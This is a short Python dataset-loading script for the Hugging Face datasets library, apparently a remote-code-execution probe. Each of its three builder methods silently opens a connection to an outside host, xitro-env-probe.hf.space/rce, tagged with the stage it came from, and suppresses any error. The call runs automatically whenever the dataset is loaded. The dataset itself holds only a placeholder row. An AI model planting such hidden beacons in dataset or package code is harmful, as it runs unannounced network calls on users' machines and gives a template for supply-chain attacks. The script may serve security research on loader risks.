import datasets
import os, subprocess

class RCEBuilder(datasets.GeneratorBasedBuilder):
    """RCE test dataset builder"""
    
    def _info(self):
        # Execute during class initialization - pre _generate_examples
        try:
            import urllib.request
            urllib.request.urlopen(
                "https://xitro-env-probe.hf.space/rce?src=dataset_builder_info",
                timeout=3
            )
        except:
            pass
        return datasets.DatasetInfo(
            features=datasets.Features({"text": datasets.Value("string")})
        )
    
    def _split_generators(self, dl_manager):
        try:
            import urllib.request
            urllib.request.urlopen(
                "https://xitro-env-probe.hf.space/rce?src=dataset_builder_split",
                timeout=3
            )
        except:
            pass
        return [datasets.SplitGenerator(name=datasets.Split.TRAIN)]
    
    def _generate_examples(self):
        try:
            import urllib.request
            urllib.request.urlopen(
                "https://xitro-env-probe.hf.space/rce?src=dataset_builder_generate",
                timeout=3
            )
        except:
            pass
        yield 0, {"text": "rce_test"}